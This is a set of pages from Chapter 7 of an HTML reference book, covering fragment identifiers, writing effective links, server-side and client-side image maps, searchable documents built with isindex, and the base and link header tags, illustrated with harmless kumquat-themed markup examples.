Use the <a> tag with its name attribute to identify a fragment. The value of the name attribute is used in hyperlinks that point to the fragment. Here's a sample fragment identifier:

<h3><a name="Section_7">Section 7</a></h3>

A hyperlink to the fragment is an <a> tag with the href attribute, in which the attribute's value--the target URL--ends with the fragment's name, preceded by the pound sign (#). A reference to the previous example's fragment identifier, then, might look like:

See <a href="index.html#Section_7">Section 7</a>
for further details.

By far the most common use of fragment identifiers is in creating a table of contents for a lengthy document. Begin by dividing your document into several logical sections, using appropriate headers and consistent formatting. At the start of each section, add a fragment identifier for that section, typically as part of the section title as a header. Finally, make a list of links to those fragment identifiers at the beginning of your document.

Our sample document extolling the life and wonders of the mighty kumquat, for example, is quite long and involved, including many sections and subsections of interest. It is a document to be read and read again. To make it easy for kumquat lovers everywhere to quickly find their section of interest, we've included fragment identifiers for each major section, and placed an ordered list of links--a hotlinked table of contents, as it were--at the beginning of each of the Kumquat Lover's documents, a sample of which appears below along with sample fragment identifiers that appear in the same document. The ellipsis symbol (...) means there are intervening segments of content, of course.

...
<h3>Table of Contents</h3>
<ol>
  <li><a href="#soil_prep">Soil Preparation</a>
  <li><a href="#dig_hole">Digging the Hole</a>
  <li><a href="#planting">Planting the Tree</a>
</ol>
...
<h3><a name=soil_prep>Soil Preparation</a></h3>
...
<h3><a name=dig_hole>Digging the Hole</a></h3>
...
<h3><a name=planting>Planting the Tree</a></h3>
...

The kumquat lover can thereby click the desired link in the table of contents and jump directly to the section of interest, without lots of tedious scrolling.

Notice also that this example uses relative URLs--a good idea if you ever intend to move or rename the document without breaking all the hyperlinks.

Previous | Home | Next
Referencing Documents: The URL | Book Index | Creating Effective Links
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.4 Creating Effective Links

HTML: The Definitive Guide

Previous Chapter 7
Links and Webs 		Next

7.4 Creating Effective Links

A document becomes hypertext by tossing in a few links in the same way that water becomes soup when you throw in a few vegetables. Technically, you've met the goal, but the outcome may not be very palatable.

Inserting anchors into your documents is something of an art, requiring good writing skills, HTML prowess, and an architectural sense of your documents and their relationships to others on the Web. Effective links flow seamlessly into a document, quietly supplying additional browsing opportunities to the reader without disturbing the current document. Poorly designed links scream out, interrupt the flow of the source document, and generally annoy the reader.

While there are as many linking styles as there are authors, here are a few of the more popular ways to link your documents. All do two things: they give the reader quick access to related information, and they tell the reader how the link is related to the current contents.

Lists of Links

Perhaps the most common way to present hyperlinks in HTML documents is in ordered or unordered lists in the style of a table of contents or list of resources.

Two schools of style exist. One puts the entire list item into the source anchor; the other abbreviates the item and puts a shorthand phrase in the source anchor. In the former, make sure you keep the anchor content short and sweet; in the latter, use a direct writing style that makes it easy to embed the link.

If your list of links becomes overly long, consider organizing it into several sublists grouped by topic. Readers can then scan the topics (set off, perhaps, as <h3> headers) for the appropriate list and then scan that list for the desired document.

The alternative list style is much more descriptive, but also more wordy, so you have to be careful it doesn't end up cluttered:

<p>
Kumquat-related documents include:
<ul>
  <li>A concise guide to <a href="kumquat_farming.html">
      profitable kumquat farming</a>,
      including a variety of business plans, lists of fruit
      packing companies, and farming supply companies.
  <li>101 different ways to <a href="kumquat_uses">
      use a kumquat</a>, including stewed kumquats and kumquat pie!
  <li>The kumquat is a hardy tree, but even the greenest of
      thumbs can use a few <a href="news:alt.kumquat_growers">
      growing tips</a> to increase
      their yield.
  <li>The business of kumquats is an expanding one, as
      shown by this 10 year overview of the
      <a href="http://www.ora.com/kumquat_report/">
      kumquat industry</a>.
</ul>

It sometimes gets hard to read a source HTML document. Imagine the clutter if we'd used anchors with fragment identifiers for each of the subtopics in the list item explanations. Nonetheless, it all looks pristine and easily navigable when displayed by the browser, such as with Mosaic as shown in Figure 7.4.

Figure 7.4: Wordy but effectively descriptive link list

[Graphic: Figure 7-4]

This more descriptive style of presenting a link list tries hard to draw readers into the linked document by giving a fuller taste of what they can expect to find. Because each list element is longer and requires more scanning by the reader, you should use this style sparingly and dramatically limit the number of links.

In general, use the brief list style when presenting large numbers of links to a well-informed audience. The second, more descriptive style is better suited to a smaller number of links for which your readership is less well-versed in the topic at hand.

Inline References

If you aren't collecting links into lists, you're probably sprinkling them throughout your document. So-called inline links are more in keeping with the true spirit of hypertext since they enable the reader to mark their current place in the document, visit the related topic in more depth or find a better explanation, and then come back to the original and continue reading. That's very personalized information processing.

The biggest mistake made by novice HTML authors, however, is to overload their documents with links and treat them as if they are panic buttons demanding to be pressed. You may have seen this style of linking; HTML pages with the word "here" all over the place, like the panic-ridden example in Figure 7.5 (we can't bring ourselves to show you the source HTML for this travesty).

Figure 7.5: Links should not wave and yell like first-graders, "Here! Me! Me!"

[Graphic: Figure 7-5]

As links, phrases like "click here" and "also available" are content-free and annoying. They make the person who is scanning the page for an important link read all the surrounding text to actually find the reference.

The better, more refined style for an inline link is to make every one contain a noun or noun/verb phrase relating to the topic at hand. Compare how kumquat farming and industry news references are treated in the Figure 7.6to the "Here! Me! Me!" example in Figure 7.5.

Figure 7.6: Kinder, gentler inline links work best

[Graphic: Figure 7-6]

A quick scan of Figure 7.6 immediately yields useful links to "kumquat farming methods" and "kumquat industry's past ten years." There is no need to read the surrounding text to understand where the link will take you. Indeed, the immediately surrounding content in our example, as for most inline links, serves only as syntactic sugar in support of the embedded links.

Embedding links into the general discourse of a document takes more effort to create than link lists. You've got to actually understand the content of the current as well as the target documents, be able to express that relationship in just a few words, and then intelligently incorporate that link at some key place in the source document. Hopefully this key place is where you might expect the user is ready to interrupt their reading and ask a question or request more information. To make matters even more difficult, particularly for the traditional tech writer, this form of author-reader conversation is most effective when presented in active voice (he, she, or it does something to an object versus the object having something done to it). The effort expended is worthwhile, though, resulting in more informative, easily read documents. Remember, you'll write the document once, but it will be read thousands, if not millions, of times. Please your readers, please.

Linking Do's and Don'ts

Here are some hints for creating links:

  • Keep the link content as concise as possible. Long links or huge inline graphic icons for links are visually disruptive and potentially confusing.

  • Never place two links immediately adjacent to one another. Most browsers make it difficult to tell where one link stops and the next link starts. Separate them with regular text or line breaks.

  • Be consistent. If you are using inline references, make all of your links inline references. If you choose to use lists of links, stick to either the short or long form; don't mix styles in a single document.

  • Try reading your document with all the nonanchor text removed. If some links suddenly make no sense, rewrite them so that they stand on their own. (Many people scan documents looking only for links; the surrounding text becomes little more than a gray background to the visually more compelling links.)

Using Images and Links

It has become fashionable to use images and icons instead of words for link contents. For instance, instead of the word "next," some HTML authors might use an icon of a little pointing hand. A link to the home page is not complete without a picture of a little house. Links to searching tools must now contain a picture of a magnifying glass, question mark, or binoculars.

Resist falling prey to the "Mount Everest syndrome" of inserting images simply because you can. Again, it's a matter of context. If you or your document's readers can't tell at a glance what relationship a link has with the current document, you've failed. Use cute images for links sparingly, consistently, and only in ways that help readers scan your document for important information and leads. Also be ever mindful that your pages may be read by someone from nearly anywhere on Earth (perhaps beyond, even), and that images do not translate consistently across cultural boundaries. (Ever hear what the "okay" hand sign common in the United States means to a Japanese person?)

Creating consistent iconography for a collection of pages is a daunting task, one that really should be done with the assistance of someone formally schooled in visual design. Trust us, the kind of mind that produces nifty code and does good HTML is rarely suited to creating beautiful, compelling imagery. Find a good visual designer; your pages and readers will benefit immeasurably.

Previous | Home | Next
Creating Hyperlinks | Book Index | Mouse-Sensitive Images
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.5 Mouse-Sensitive Images

HTML: The Definitive Guide

Previous Chapter 7
Links and Webs 		Next

7.5 Mouse-Sensitive Images

Normally, an image placed within an anchor simply becomes part of the anchor content. The browser may alter the image in some special way (usually with a special border) to clue the reader that it is a link, but the user clicks the image in the same way they click a textual link.

The HTML standard provides a feature that lets you embed many different links inside the same image. Clicking different areas of the image causes the browser to link to different target documents. Such mouse-sensitive images, known as image maps, open up a variety of creative linking styles.

There are two ways to create image maps, known as server-side and client-side image maps. The former, enabled by the ismap attribute for the <img> tag, requires access to a server and related image map processing applications. The latter is created with the usemap attribute for the <img> tag, along with corresponding <map> and <area> tags. Since translation of the mouse position in the image to a link to another document happens on the user's machine, client-side image maps don't require a special server connection, and even can be implemented in non-web environments, such as on a local hard drive or on a CD-ROM-based document collection. [the section called "The <map> Tag"] [the section called "The <area> Tag"] [the section called "The <img> Tag"]

Server-Side Image Maps

You add an image to an anchor simply by placing an <img> tag within the body of the <a> tag. Make that embedded image into a mouse-sensitive one by adding the ismap attribute to the <img> tag. This special <img> attribute tells the browser that the image is a special map containing more than one link. (The ismap attribute is ignored by the browser if the <img> tag is not within an <a> tag.) [the section called "The <img> Tag"]

When the user clicks some place within the image, the browser passes the coordinates of the mouse pointer along with the URL specified in the <a> tag to the document server. The server uses the mouse pointer coordinates to determine which document to deliver back to the browser.

When ismap is used, the href attribute of the containing <a> tag must contain the URL of a server application or, for some HTTP servers, a related map file that contains the coordinate and linking information. If the URL is simply that of a conventional document, errors may result and the desired document will most likely not be retrieved.

The coordinates of the mouse position are screen pixels counted from the upper-left corner of the image beginning with (0,0). The coordinates are added to the end of the URL, preceded by a question mark.

For example, if a user clicks 43 pixels over and 15 pixels down from the upper-left corner of the image displayed from the following link:

<a href="/cgi-bin/imagemap/toolbar.map">
<img ismap src="pics/toolbar.gif">
</a>

the browser sends the following search parameters to the HTTP server:

/cgi-bin/imagemap/toolbar.map?43,15

In the example, toolbar.map is a special image map file inside the cgi-bin/imagemap directory and containing coordinates and links. A special image map process uses that file to match the passed coordinates (43,15 in the example) and return with the selected hyperlink document.

Server-side considerations

With mouse-sensitive ismap-enabled image maps, the browser is only required to pass along the URL and mouse coordinates to the server. Converting these coordinates into a specific document is handled by the document server. The conversion process differs between servers and is not defined by the HTML standard.

You need to consult with your web server administrators and perhaps even read your server's documentation to determine how to create and program an image map. Most servers come with some software utility, typically located in a cgi-bin/imagemap directory, to handle image maps. And most of these use a text file containing the image map regions and related hyperlinks that is referenced by your image map URL to process the image map query.

Here's an example image map file that describes the sensitive regions in our example image:

# Imagemap file=toolbar.map
default                    dflt.html
circle 100,30,50           link1.html
rectangle 180,120,290,500  link2.html
polygon 80,80,90,72,160,90 link3.html

Each sensitive region of the image map is described by a geometric shape and defining coordinates in pixels, such as the circle with its center point and radius, the rectangle's upper-left and lower-right edge coordinates, and the loci of a polygon. All coordinates are relative to the upper-left corner of the image (0,0). Each shape has a related URL.

An image map processing application typically tests each shape in the order it appears in the image file and returns the document specified by the corresponding URL to the browser if the user's mouse x,y coordinates fall within the boundaries of that shape. That means it's okay to overlap shapes; just be aware which takes precedence. Also, the entire image need not be covered with sensitive regions: if the passed coordinates don't fall within a specified shape, the default document gets sent back to the browser.

This is just one example for how an image map may be processed and the accessory files required for that process. Please huddle with your webmaster and server manuals to discover how to implement a server-side image map for your HTML documents and system.

usemap

Client-Side Image Maps

The obvious downside to server-side image maps is that they require a server. That means you need access to the required HTTP server or its /cgi-bin/ directory, which isn't always available. And server-side image maps limit portability, since not all image map processing applications are the same.

Server-side image maps also mean delays for the user while browsing, since the browser must get the server's attention to process the image coordinates. That's even if there's no action to take, such as a section of the image that isn't hyperlinked and doesn't lead anywhere.

Client-side image maps suffer from none of these difficulties. Enabled by the usemap attribute for the <img> tag, and defined by special <map> and <area> extension tags, client-side image maps let HTML authors include in their documents a map of coordinates and links that describe the sensitive regions of an image. The browser on the client computer translates the coordinates of the mouse position within the image into an action, such as loading and displaying another document. And special JavaScript-enabled attributes provide a wealth of special effects for client-side image maps. [the section called "JavaScript Event Handlers"]

To create a client-side image map, include the usemap attribute as part of the <img> tag. Its value is the URL of a <map> segment in an HTML document that contains the map coordinates and related link URLs. The document in the URL identifies the HTML document containing the map; the fragment identifier in the URL identifies the map to be used. Most often, the map is in the same document as the image itself, and the URL can be reduced to the fragment identifier: a pound sign (#) followed by the map name.

For example, the following source fragment tells the Netscape or Internet Explorer browser that the map.gif image is a client-side image map and that its mouse-sensitive coordinates and related link URLs are found in the map section of the document named map:

<img src="pics/map.gif" usemap="#map">

The <map> Tag

For client-side image maps to work, you must include somewhere in the HTML document a set of coordinates and URLs that define the mouse-sensitive regions of a client-side image map and the hyperlink to take for each region that is clicked by the user. You include those coordinates and links as values of attributes in special <area> tags; the collection of <area> specifications are enclosed within the <map> tag and its end tag </map>.

<map>
Function:

Encloses client-side image map (usemap) specifications

Attributes:

NAME

End Tag:

</map>, always present

Contains:

map_content

Used in:

body_content

The <map> segment may appear anywhere in the body of any HTML document. Browsers that do not support client-side image maps will ignore the contents of the <map> tag. The <map> contents never get displayed in the browser window.

The value of the name attribute in the <map> tag is the name used by the usemap attribute in an <img> tag to locate the image map specification. The name must be unique and not used by another <map> in the document, but more than one image map may reference the same <map> specifications. [the section called "The ismap and usemap attributes"]

The <area> Tag

The guts of a client-side image map are the <area> tags within the map segment. These <area> tags define each mouse-sensitive region and the action the browser should take if that region is selected by the user in an associated client-side image map.

<area>
Function:

Defines coordinates and links for a region on a client-side image map

Attributes:

ALT
COORDS
HREF
NOHREF
NOTAB (Internet Explorer)
ONMOUSEOUT (Netscape) (Internet Explorer)
ONMOUSEOVER (Netscape) (Internet Explorer)
SHAPE
TABORDER (Internet Explorer)
TARGET (Netscape) (Internet Explorer)
TITLE (Internet Explorer)

End Tag:

None

Contains:

Nothing

Used in:

map_content

The region defined by an <area> tag acts just like any other hyperlink: when the user moves the mouse pointer over the region of the image, the pointer icon will change and the browser displays the URL of the related hyperlink in the status box at the bottom of the browser window.[5] Regions of the client-side image map not defined in at least one <area> tag are not mouse-sensitive.

[5] That is, unless you activate a JavaScript event handler that writes the contents of the status box. See the onMouse event handlers in 7.5.4.6.

The alt attribute

Like its cousin for the <img> tag, the alt attribute for the <area> tag lets you attach a text label to the image, except in this case the label is associated with a particular area of the image. The browser may present this label to the user when the mouse passes over the area, and it may also be used by a nongraphical browser to present the client-side image map as a list of links identified by the alt labels.

The coords attribute

The required coords attribute of the <area> tag defines coordinates of a mouse-sensitive region in a client-side image map. The number of coordinates and their meaning depend upon the region's shape as determined by the shape attribute, later in this chapter. You may define hyperlink regions as rectangles, circles, and polygons within a client-side image map. The appropriate values for each shape are:

circle

coords="x,y,r" where x and y define the position of the center of the circle (0,0 is the upper-left corner of the image) and r is its radius in pixels.

polygon

coords="x1,y1,x2,y2,x3,y3,..." where each pair of x,y coordinates define a vertex of the polygon, with 0,0 being the upper-left corner of the image. At least three pairs of coordinates are required to define a triangle, higher order polygons require a larger number of vertices. The polygon is automatically closed, so it is not necessary to repeat the first coordinate at the end of the list to close the region.

rectangle

coords="x1,y1,x2,y2" where the first coordinate pair is one corner of the rectangle and the other pair is the corner diagonally opposite, with "0,0" being the upper-left corner of the image. Note that a rectangle is just a shortened way of specifying a polygon with four vertices.

For example, the following fragment defines a single mouse-sensitive region in the lower-right quarter of a 100x100 image and another circular region smack in the middle:

<map name="map1">
  <area shape=rectangle coords="75,75,99,99">
  <area shape=circle coords="50,50,25">
</map>

If the coordinates in one <area> tag overlap with another region, the first <area> tag takes precedence. The browsers ignore coordinates that extend beyond the boundaries of the image.

The href attribute

Like the href attribute for the anchor (<a>) tag, the href attribute for the <area> tag defines the URL of the desired link if its region in the associated image map is clicked. The value of the href attribute is any valid URL, relative or absolute, including JavaScript code.

For example, the browser will load and display the link4.html document if the user clicks in the lower-left quarter of a 100x100-pixel image, as defined by the first image map <area> tag in the following example:

<map name="map">
  <area coords="75,75,99,99" href="link4.html">
  <area coords="0,0,25,25" href="javascript:window.alert('Oooh, tickles!')"
</map>

The second <area> tag in the example uses a JavaScript URL, which, when the user clicks in the upper-left quadrant of the image map, executes a JavaScript alert method that displays the silly message in a dialog.

The nohref attribute

The nohref attribute for the <area> tag lets you define a mouse-sensitive region in a client-side image map for which no action is taken even though the user may select it. You must include either an href or a nohref attribute for each <area> tag.

The notab and taborder attributes

Supported only by Internet Explorer, the notab and taborder attributes control how the areas in your client-side image maps are integrated with the tabbing sequence of the document.

The browser skips over notab areas as the user presses the tab key to move the cursor around the document. Otherwise, this area will be part of the tabbing sequence.

Also with Internet Explorer, imagemap areas get inserted into the tabbing sequence in the order in which they are encountered in the document, along with other tab-sensitive elements like form fields. Use the taborder attribute to change that default order. The value of the attribute is an integer indicating the position of this area in the overall tab sequence for the document.

The onMouseOver and OnMouseOut attributes

Two of the same mouse-related JavaScript event handlers that work for the anchor (<a>) tag also work with client-side image map hyperlinks: onMouseOver for when the user moves the mouse pointer over the <area> defined region of the map, and onMouseOut for when the user moves the mouse pointer off that area. The value of the event handler is--enclosed in quotation marks--one or a sequence of semicolon-separated JavaScript expressions, methods, and function references that the browser executes when the event occurs. [the section called "The onClick, onMouseOver, and OnMouseOut attributes"]

For example, a popular, albeit simple, use of the onMouseOver event is to print a more descriptive explanation in the browser's status box whenever the user passes the mouse pointer over a region of the image map:

<area href="http://www.ora.com/kumquats/homecooking/recipes.html#quat5"
   onMouseOver="self.status='A recipe for kumquat soup.';return true">

In context with a text-based hyperlink, we argue that the contents of the tag itself should explain the link. But images can be deceptive, so we urge you to use the event handlers to provide text descriptions with your image maps.

The onClick mouse-related event isn't included as one of the <area> link-related events, but it can be simulated: simply use a JavaScript URL as the tag's href value. This approach is particularly useful to direct users away from default areas of an image map and onto those areas with real hyperlinks. See the client-side image map in 7.5.5 for an example.

The shape attribute

According to the HTML standard, use this attribute to define the shape of an image map's mouse-sensitive region: a circle (circ or circle), polygon (poly or polygon), or rectangle (rect or rectangle).

The value of the shape attribute affects how the browser interprets the value of the coords attribute. If you don't include a shape attribute, the value default is assumed. According to the standard, default means that the area covers the entire image. In practice, the browsers default to a rectangular area and expect to find four coords values. And if you don't specify a shape and don't include four coordinates with the tag, the browser ignores the area altogether.

In fact, Netscape is the only browser that even recognizes the shape value default to provide a catch-all area for clicks that fall outside all the other defined hotspots. Since areas are in a "first-come, first-served" order in the <map> tag, you should place the default area last. Otherwise, it covers up any and all areas that follow in your image map.

The target attribute

The target attribute gives you a way to control where the contents of the selected hyperlink in the image map get displayed. Commonly used in conjunction with frames or multiple browser windows, the value of this attribute is the name of the frame or window in which the referenced document should be loaded. If the named frame or window exists, the document is loaded in that frame or window. If not, a new window is created, given the specified name, and the document is loaded in that new window. For more information, including a list of special target names, see 12.7.

The title attribute

The title attribute lets you specify a title for the document to which the image map's area links. The value of the attribute is any string, enclosed in quotes. The browser might use the title when displaying the link, perhaps flashing the title when the mouse passes over the area. The browser might also use the title attribute when adding this link to a user's hotlist.

The title attribute is especially useful for referencing an otherwise unlabeled resource, such as an image or a non-HTML document. Ideally, the value specified should match the title of the referenced document, but it's not required.

A Client-Side Image Map Example

The following example fragment draws together the various components of a client-side image map we discussed earlier in this section. It includes the <img> tag with the image reference and usemap attribute with a name that points to a <map> that defines four mouse-sensitive regions (three plus a default) and related links:

<body>
...
<img src="pics/map.gif" usemap="#map1" border=0>
...
<map name="map1">
  <area shape=rect coords="0,20,40,100"
      href="k_juice.html"
      onMouseOver="self.status='How to prepare kumquat juice.'
         ;return true">
  <area shape=rect coords="50,50,80,100"
      href="k_soup.html"
      onMouseOver="self.status='A recipe for hearty kumquat soup.'
      ;return true">
  <area shape=rect coords="90,50,140,100"
      href="k_fruit.html"
      onMouseOver="self.status='Care and handling of the native
                   kumquat.'
      ;return true">
  <area shape=default
      href="javascript:window.alert('Choose the cup or one of the
            bowls.')"
      onMouseOver="self.status='Select the cup or a bowl for more
                   information.'
      ;return true">
</map>

See Figure 7.7 for the results.

Figure 7.7: A simple client-side image map with JavaScript-enabled mouse event

[Graphic: Figure 7-7]

Handling Other Browsers

Unlike its server-side ismap counterpart, the client-side image map tag (<img usemap>) doesn't need to be included in an <a> tag. But it may be, so that you can gracefully handle browsers that are unable to process client-side image maps.

For example, Mosaic or early versions of Netscape simply load a document named main.html if the user clicks the map.gif image referenced in the following source fragment. The extended browsers, on the other hand, will divide the image into mouse-sensitive regions, as defined in the associated <map>, and link to a particular name anchor within the same main.html document if the image map region is selected by the user:

<a href="main.html">
  <img src="pics/map.gif" ismap usemap="map1">
</a>
...
<map name="map1">
  <area coords="0,0,49,49" href="main.html#link1">
  <area coords="50,0,99,49" href="main.html#link2">
  <area coords="0,50,49,99" href="main.html#link3">
  <area coords="50,50,99,99" href="main.html#link4">
</map>

To make an image map fully backward-compatible with all image map-capable browsers, you may also include both client-side and server-side processing for the same image map. Capable browsers will honor the faster client-side processing; all other browsers will ignore the usemap attribute in the <img> tag and rely upon the referenced server process to handle user selections in the traditional way. For example:

<a href="/cgi-bin/images/map.proc">
  <img src="pics/map2.gif" usemap="#map2" ismap>
</a>
...
<map name="map2">
  <area coords="0,0,49,49" href="link1.html">
  <area coords="50,0,99,49" href="link2.html">
  <area coords="0,50,49,99" href="link3.html">
  <area coords="50,50,99,99" href="link4.html">
</map>

Effective Use of Mouse-Sensitive Images

Some of the most visually compelling pages we've seen on the Web have mouse-sensitive images: maps with regions that when clicked, for example, lead to more information about a country or town, or result in more detail about the location and who to contact at a regional branch of a business. We've even seen a mouse-sensitive image of a fashion model whose various clothing parts lead to their respective catalog entries, complete with detailed description and price tag for ordering.

The visual nature of mouse-sensitive images coupled with the need for an effective interface means that you should strongly consider having an artist, a user-interface designer, and even a human-factors expert evaluate your mouse-sensitive imagery. At the very least, engage in a bit of user testing to make sure people know where to click to move to the desired document. Make sure the "mouseable" areas of the image indicate this to the user using a consistent visual mechanism. Consider using borders, drop shadows, or color changes to indicate those areas that can be selected by the user.

Finally, always remember that the decision to use mouse-sensitive images is an explicit decision to exclude text-based and image-restricted browsers from your pages. This includes the many millions of browsers connecting to the Internet via slow modem connections. For these people, downloading your beautiful images is simply too expensive. To keep from disenfranchising a growing population, make sure any page that has a mouse-sensitive image has a text-only equivalent easily accessible from a link on the image-enabled version. Some thoughtful webmasters even provide separate pages for users preferring full graphics versus mostly text.

Previous | Home | Next
Creating Effective Links | Book Index | Creating Searchable Documents
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.6 Creating Searchable Documents

HTML: The Definitive Guide

Previous Chapter 7
Links and Webs 		Next

7.6 Creating Searchable Documents

Another extensible form of an HTML link that does not use the <a> tag is one that causes the server to search a database for a document that contains a user-specified keyword or words. An HTML document that contains such a link is known as a searchable document.

The <isindex> Tag

For a searchable document designated by the <isindex> tag, the browser provides a way for the user to enter one or more search terms and passes those key words along with a search-engine's URL to the server. The server matches the keywords against a database of terms to select the next document for display.

<isindex>
Function:

Indicates that a document can be searched

Attributes:

ACTION (Internet Explorer)
PROMPT

End tag:

None

Contains:

Nothing

Used in:

head_content

When a browser encounters the <isindex> tag, it adds a standard search interface to the document (rendered by Netscape in Figure 7.8).

<html>
<head>
<title>Kumquat Advice Database</title>
<base href="cgi-bin/quat-query">
<isindex>
</head>
<body>
<h3>Kumquat Advice Database</h3>
<p>
Search this database to learn more about kumquats!
</body>
</html>

Figure 7.8: A searchable document

[Graphic: Figure 7-8]

The user types a list of space-separated keywords into the field provided. When the user presses the return key, the browser automatically appends the query list to the end of a URL and passes the information along to the server for further processing.

While the HTML standard only allows the <isindex> tag to be placed in the document header, most browsers let the tag appear anywhere in the document and inserts the search field in the content flow where the <isindex> tag appears. This convenient extension lets you add instructions and other useful elements before presenting the user with the actual search field.

The prompt attribute

The browser provides a leading prompt just above or to the left of the user-entry field. Netscape's default prompt, for example, is, "This is a searchable index. Enter search keywords:" (Figure 7.8). That default prompt is not the best for all occasions, so it is possible to change it with the prompt attribute.

When added to the <isindex> tag, the value of the prompt attribute is the string of text that precedes the keyword entry field placed in the document by the browser.

For example, compare Figure 7.8 with Figure 7.9, in which we added the following prompt to the previous source example:

<isindex prompt="To learn more about kumquats, enter a keyword:">

Figure 7.9: The prompt attribute creates custom prompts in searchable documents

[Graphic: Figure 7-9]

Older browsers will ignore the prompt attribute, but there is little reason not to include a better prompt string for your more up-to-date readership.

The query URL

Besides the <isindex> tag in the header of a searchable document, the other important element of this special HTML tag is the query URL. By default, it is the URL of the source document itself--not good if your document can't handle the query. Rather, most authors use the <base> attribute to point to a different URL for the search. [the section called "The <base> Header Element"]

The browser appends a question mark to the query URL, followed by the specified search parameters. Nonprintable characters are appropriately encoded; multiple parameters are separated by a plus sign (+).

In the previous example, if a user types "insect control" in the search field, the browser would retrieve the URL:

cgi-bin/quat-query?insect+control

The action attribute

For Internet Explorer only, you can specify the query URL for the index with the action attribute. The effect is exactly as if you had used the href attribute with the <base> tag: the browser links to the specified URL with the search parameters appended to the URL.

While the action attribute provides the desirable feature of divorcing the document's base URL from the search index URL, it will cause your searches to fail if the user is not using Internet Explorer. For this reason, we do not recommend that you use the action attribute to specify the query URL for the search.

Server dependencies

Like image maps, searchable documents require support from the server to make things work. How the server interprets the query URL and its parameters is not defined by the HTML standard.

You should consult your server's documentation to determine how you can receive and use the search parameters to locate the desired document. Typically, the server breaks the parameters out of the query URL and passes them to a program designated by the URL.

Previous | Home | Next
Mouse-Sensitive Images | Book Index | Establishing Document Relationships
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.7 Establishing Document Relationships

HTML: The Definitive Guide

Previous Chapter 7
Links and Webs 		Next

7.7 Establishing Document Relationships

Very few HTML documents stand alone. Instead, a document is usually part of a collection of documents, each connected by the one or several of the hypertext strands we describe in this chapter. One document may be a part of several collections, linking to some documents and being linked to by others. Readers move between the document families as they follow the links that interest them.

You establish an explicit relationship between two documents when you link them. Conscientious authors use the rel attribute of the <a> tag to indicate the nature of the link. In addition, two other tags may be used within a document to further clarify the location and relationship of a document within a document family. These tags, <base> and <link>, are placed within the body of the <head> tag. [the section called "The <head> Tag"]

The <base> Header Element

As we previously explained, URLs within a document can be either absolute (with every element of the URL explicitly provided by the author) or relative (with certain elements of the URL omitted and supplied by the browser). Normally, the browser fills in the blanks of a relative URL by drawing the missing pieces from the URL of the current document. You can change that with the <base> tag.

<base>
Function:

Define the base URL for other anchors in the document

Attributes:

HREF
TARGET (Netscape) (Internet Explorer)

End tag:

None

Contains:

Nothing

Used in:

head_content

The <base> tag must appear only in the document header, not its body contents. The browser thereafter uses the specified base URL, not the current document's URL, to resolve all relative URLs, including those found in <a>, <img>, <link>, and <form> tags. It also defines the URL that will be used to resolve queries in searchable documents containing the <isindex> tag. [the section called "Referencing Documents: The URL"]

The href attribute

The href attribute must have a valid URL as its value, which the browser then uses to define the absolute URL against which relative URLs are based within the document. For example, the <base> tag in this document head,

<html>
<head>
<base href="http://www.kumquat.com/">
</head>
...

tells the browser that any relative URLs within this document are relative to the top-level document directory on www.kumquat.com, regardless of the address and directory of the machine from which the user had retrieved the current document.

Contrary to what you may expect, you can make the base URL relative, not absolute. The browser actually forms an absolute base URL out of this relative URL by filling in the missing pieces with the URL of the document itself. This property can be used to good advantage. For instance, in this next example,

<html>
<head>
<base href="/info/">
</head>
...

the browser will make the <base> URL into one that is relative to the server's /info/ directory, which probably is not the same directory of the current document. Imagine if you had to re-address every link in your document with that common directory. Not only does the <base> tag help you shorten those URLs in your document that have a common root, it also lets you constrain the directory from which relative references are retrieved without binding the document to a specific server.

The target attribute

When working with documents inside frames, the target attribute with the <a> tag ensures that a referenced URL gets loaded into the correct frame. Similarly, the target attribute for the <base> tag lets you establish the default name of one of the frames or windows in which the browser is to display redirected hyperlinked documents. [the section called "An Overview of Frames"]

If you have no other default target for your hyperlinks within your frames, you may want to consider using <base target=_top>. This will ensure that links that are not specifically targeted to a frame or window will thereby load in the top-level browser window. This eliminates the embarrassing and common error of having references to pages on other sites appear within a frame on your pages, instead of within their own pages. A minor bit of HTML, to be sure, but it makes life much easier for your readership.

Using <base>

The most important reason for using <base> is to ensure that any relative URLs within the document will resolve into a correct document address, even if the document itself is moved or renamed. This is particularly important when creating a document collection. By placing the correct <base> tag in each document, you can move the entire collection between directories and even servers without breaking all of the links within the documents.

You also need to use the <base> tag for a searchable document (<isindex>) if you want user queries posed to a URL different from the host document.

Note that a document that contains both the <isindex> tag and other relative URLs may have problems if the relative URLs are not relative to the desired index processing URL. Since this is usually the case, do not use relative URLs in searchable documents that use the <base> tag to specify the query URL for the document.

The <link> Header Element

Use the <link> tag to define the relationship between the current document and another in a Web collection.

<link>
Function:

Define a relationship between this document and another document

Attributes:

HREF
REL
REV
TITLE
TYPE (Netscape) (Internet Explorer)

End tag:

None

Contains:

Nothing

Used in:

head_content

The <link> tags belongs in the <head> content, nowhere else. The attributes of the <link> tag are used like those of the <a> tag, but their effects serve only to document the relationship between documents. The <link> tag has no content and no closing </link> element.

The href attribute

As with its other tag applications, the href attribute specifies the URL of the target <link> tag. It is a required attribute, too, and its value is any valid document URL. The specified document is assumed to have a relationship to the current document.

The rel and rev attributes

The rel and rev attributes express the relationship between the source and target documents. The rel attribute specifies the relationship from the source document to the target; the rev attribute specifies the relationship from the target document to the source document. Both attributes can be included in a single <link> tag.

The value of either attribute is a space-separated list of relationships. The actual relationship names are not specified by the HTML standard, although some have come into common usage as listed in 7.3.1.5. For example, a document that is part of a sequence of documents might use:

<link href="part-14.html" rel=next rev=prev>

when referencing the next document in the series. The relationship from the source to the target is that of moving to the next document; the reverse relationship is that of moving to the previous document.

The title attribute

The title attribute lets you specify the title of the document to which you are linking. This attribute is useful when referencing a resource that does not have a title, such as an image or a non-HTML document. In this case, the browser might use the <link> title when displaying the referenced document. For example,

<link href="pics/kumquat.gif"
  title="A photograph of the Noble Fruit">

tells the browser to use the indicated title when displaying the referenced image.

The value of the attribute is an arbitrary character string, enclosed in quotation marks.

The type attribute

The type attribute provides the MIME content type of the linked document. Supported by both Internet Explorer and Netscape, the type attribute can be used with any linked document. It is often used to define the type of linked style sheets. In this context, the value of the type attribute is usually text/css. For example,

<link href="styles/classic.css" rel=stylesheet type="text/css">

